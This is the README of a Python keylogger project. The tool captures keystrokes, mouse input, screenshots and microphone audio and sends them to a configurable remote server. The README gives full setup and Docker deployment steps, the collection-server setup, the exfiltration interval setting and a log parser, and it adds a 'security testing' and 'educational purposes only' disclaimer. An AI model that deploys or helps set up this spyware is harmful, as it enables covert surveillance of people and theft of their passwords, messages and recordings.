This project captures keyboard, mouse, screenshots, and microphone inputs and sends them to a server or parses the logs for analysis. The keylogger is designed for testing the security of information systems.
- 🎹 Captures keyboard and mouse inputs.
- 📸 Takes screenshots and records audio from the microphone.
- 🌐 Sends data to a specified server.
- 📋 Includes a parser for keylog files to decode raw data into readable text.
To start, clone the repository:
git clone https://github.com/scrollDynasty/Keylogger
cd Keylogger
- Python 3.9
- Node.js (for running the server)
- Docker (for containerized deployment)
- Libraries specified in
requirements.txt
If Python 3.9 is not installed on your system, follow these steps:
sudo apt update
sudo apt install -y build-essential zlib1g-dev libffi-dev \
libssl-dev libncurses5-dev libsqlite3-dev libreadline-dev \
libbz2-dev liblzma-dev tk-dev wget
cd /usr/src
sudo wget https://www.python.org/ftp/python/3.9.0/Python-3.9.0.tgz
sudo tar xzf Python-3.9.0.tgz
cd Python-3.9.0
sudo ./configure --enable-optimizations
sudo make altinstall
Verify the installation:
python3.9 --version
-
Install required Python dependencies:
pip install -r requirements.txt
-
Set up the server:
- Navigate to the
server
folder:cd server
- Ensure
server.js
is present in this folder. - Start the server:
node server.js
- Keep the server running to receive data from the keylogger.
- Navigate to the
-
Configure the keylogger:
- Open
keylogger.py
and set the correct server IP and port:SERVER_IP = "your.server.ip" SERVER_PORT = 8080
- Open
-
Run the keylogger:
python3.9 keylogger.py
To containerize the project with Docker:
In the root of the project, create a file named Dockerfile
:
# Keylogger Dockerfile
FROM python:3.9-slim
WORKDIR /app
COPY . .
RUN pip install --no-cache-dir -r requirements.txt
CMD ["python3", "keylogger.py"]
In the server
folder, create a separate Dockerfile
:
# Server Dockerfile
FROM node:14
WORKDIR /app
COPY . .
RUN npm install
CMD ["node", "server.js"]
-
Build the keylogger image:
docker build -t keylogger .
-
Run the keylogger container:
docker run -d --name keylogger-container keylogger
-
Build the server image:
docker build -t keylogger-server ./server
-
Run the server container:
docker run -d --name server-container -p 8080:8080 keylogger-server
The parser converts raw keylog data into readable text. Here’s how to use it:
- Run the parser:
python3.9 keylogparser.py
- Paste the raw keylog text into the prompt and press Enter twice to decode.
- The decoded text will be displayed.
- Use this tool responsibly and only on systems you own or have permission to test.
- Data is sent every 60 seconds by default. You can adjust this interval in
keylogger.py
by modifyingSEND_REPORT_EVERY
.
This project is licensed under the terms of the LICENSE file.
If you have any issues or questions, feel free to reach out:
Support the development of this project:
- BTC Wallet:
1NqDy1VdF5wkvxBcojbADWexPhPzza6LGF
This project is for educational purposes only. The author is not responsible for any misuse of this tool.